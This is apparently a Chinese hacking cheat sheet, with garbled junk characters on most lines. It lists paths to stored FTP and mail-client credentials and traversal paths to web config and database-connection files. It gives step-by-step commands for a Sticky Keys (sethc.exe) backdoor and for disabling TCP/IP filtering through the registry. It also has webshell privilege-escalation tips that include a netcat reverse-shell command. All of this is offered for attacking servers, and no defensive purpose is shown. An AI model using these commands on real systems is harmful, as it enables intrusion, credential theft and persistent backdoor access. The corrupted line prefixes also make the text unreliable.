+ {8 t) ]0 t% ]6 q) {C:\Program Files\Foxmal\accounts.cfg
+ t+ J: z0 M0 R8 Y; H5 sC:\Program Files\tencent\Foxmal\Foxmail.exe
7 N( b: x* _: |5 O! k: _: V3 JC:\Program Files\tencent\Foxmal\accounts.cfg
0 X. f+ y7 w5 o* \C:\Program Files\LeapFTP 3.0\LeapFTP.exe
3 B1 C0 D/ O' i4 A  T- T) p: s; UC:\Program Files\LeapFTP\LeapFTP.exe
4 y( C% {' d" N4 Oc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
5 V8 g9 D$ \) Z6 k3 z2 i& rc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
2 O7 h* t& s+ N0 ]/ ~1 tC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
; Z6 W4 U0 K9 ^" E. n' C  m3 Dc:\Program Files\腾讯游戏\QQGAME\readme.txt
1 D5 G+ G- L, J, a0 r4 cc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
8 F8 a  N* {. ac:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
. O! ]2 R2 n+ W; `/ P9 [( p$ N
3.网站相对路径:

/config.php
4 @* U5 }( X( V( K5 F0 S../../config.php
../config.php
" |6 [! o9 D' Y../../../config.php
/config.inc.php
./config.inc.php
* o! V5 [2 r( g# T../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
" @6 h+ ~' l9 {4 @+ R2 t' ?' U../../conn.php
$ T+ z, I7 M% ^2 ^../conn.php
../../../conn.php
9 l) X0 m1 s! R7 j$ z/conn.asp
./conn.asp
5 F8 ^' e& m+ B/ G; v../../conn.asp
../conn.asp
8 y8 @- w4 G, y" i6 O../../../conn.asp
/ V* z+ o1 W5 W3 m/ N! N& P( ^/config.inc.php
./config.inc.php
: A7 U# q3 K9 A, }* I# R../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
6 C! s9 q& `& x/ o' q../config/config.php
- P( \% R' s! e) C5 g8 Y../../../config/config.php
/config/config.inc.php
) J: F4 O" ~, E" f: E/ L1 b4 w./config/config.inc.php
4 U- {2 H1 I! a! |../../config/config.inc.php
/ I& l* H# A" ]# S( N, \../config/config.inc.php
' ?; W$ r+ k6 `1 S../../../config/config.inc.php
) Q- s  E/ Y9 r! l/config/conn.php
./config/conn.php
../../config/conn.php
! M% y7 s5 ^5 v& m; s% f../config/conn.php
../../../config/conn.php
3 b! K5 u0 p/ z5 X& ?, `) C/config/conn.asp
./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
6 F6 T- B  [; `; C./config/config.inc.php
../../config/config.inc.php
$ U! @' t( f8 @/ n# H% x* o' q# x../config/config.inc.php
1 D& z' R! k% _: y3 \../../../config/config.inc.php
( G0 n( g' a6 H% ?+ P/data/config.php
../../data/config.php
- x' u7 J9 ?7 d0 d6 ]../data/config.php
../../../data/config.php
/data/config.inc.php
./data/config.inc.php
7 h. J0 _1 B4 n1 I2 l9 B8 U../../data/config.inc.php
../data/config.inc.php
: v7 C$ o5 A6 M) i. Z../../../data/config.inc.php
/data/conn.php
; s" _- @/ E. U5 E./data/conn.php
../../data/conn.php
) N8 @7 K" ?) N  u! b! [/ y* F- x1 f../data/conn.php
, K# O7 V' ^. x7 o% F../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/ Z# u# V* ?  ?/data/config.inc.php
./data/config.inc.php
4 N9 C( ?# m/ M) V* ^../../data/config.inc.php
../data/config.inc.php
2 Z: K% C1 W: k) _9 N../../../data/config.inc.php
$ M3 b' ]5 S( w1 Q/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
+ P3 }9 B* [$ T: \: D1 ~/include/config.inc.php
./include/config.inc.php
% ?+ t9 a1 F: f5 A9 c../../include/config.inc.php
+ e$ E0 i& w8 I0 G, \../include/config.inc.php
../../../include/config.inc.php
: A0 l) T% [" A  M/include/conn.php
: T! p* {7 S: t/ f* M, M! \' S./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
3 m7 h9 e  g& i1 R. E" b, s1 \./include/conn.asp
3 f9 e, N( ]. ?% ~7 w% E../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
9 p; _  Q7 f& r) `: A8 _: B/inc/config.php
3 c, C: M( d- E  l) }" Q../../inc/config.php
6 E/ a( u7 L) v$ E* S../inc/config.php
../../../inc/config.php
, H# E+ U5 U$ i: X1 M' h! l/inc/config.inc.php
1 w* @% J( s1 H. O. q! f6 w./inc/config.inc.php
  A- C5 M+ @9 L$ t7 T4 L../../inc/config.inc.php
../inc/config.inc.php
# D9 K* I1 z# k- l1 A( A, B5 {../../../inc/config.inc.php
% C* n& i& A% i) Y" A& x% E. A2 ?/inc/conn.php
1 t  b) U- O  I3 C4 Z# P' C& N./inc/conn.php
../../inc/conn.php
. p: G0 O4 v3 w1 Q( S7 q../inc/conn.php
* l5 ]' Q. m( B2 P) J9 {../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
) [% [8 w$ E, g) m2 @+ I../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
) d+ [, |: e8 Z# D0 I/ |( D4 v../inc/config.inc.php
../../../inc/config.inc.php
/index.php
5 m1 T' F4 D, L4 f./index.php
5 U( G' T: y  M3 |; R../../index.php
../index.php
../../../index.php
: r1 {) U7 A6 G5 x/index.asp
& }+ w4 A+ @  x, N./index.asp
../../index.asp
3 W. R8 s$ Q+ i../index.asp
- s9 K. y; g, [0 G+ Q9 y../../../index.asp
5 V6 p  W# L( e+ t1 Q! V替换SHIFT后门
. J- c; m! G3 j9 E0 x+ p) |! J0 v' G　attrib c:\windows\system32\sethc.exe -h -r -s

* T1 Z) t5 L! q0 g' i; t& B& M: T　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
, K3 e4 |" u- M
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

. t  q- S' [  C2 p7 c& U2 c3 B: N　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
& d9 @6 ?# E5 h$ c9 q% h1 {+ a' r
　　attrib c:\windows\system32\sethc.exe +h +r +s
" u- o. v% f: e7 P/ E
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
# V4 J) q3 L" c- L+ X/ ~" ]去除TCPIP筛选
$ m5 I9 S5 D! d" a* nTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
/ v6 u6 x9 C# j0 N% b1 `; YHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

# Z' l( M% `  U: r/ l) ^0 X分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ C! {3 ?% x; t" |! sregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
+ P/ y5 z% p8 n# d8 U5 {regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
: r% |; N7 b4 @, H8 x" j
再将以上三个文件分别用
. d. x0 J$ @7 w+ t1 ]! H3 Jregedit -s D:\a.reg
regedit -s D:\b.reg
5 E$ u  D" @- t1 ^& z, yregedit -s D:\c.reg
导入注册表即可
& r  V( j5 E6 m, z2 x+ O: @
3 W  q& n% e& i) w2 D  [8 Hwebshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
& O$ I  j* H( \例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
8 x4 H+ u4 _$ a5 p* Y2 D, s通常都不会成功。
* R8 j6 n3 U* P! x
: r! c% o9 F7 }3 _而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
7 A5 B) X( K+ B8 u9 }1 X这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功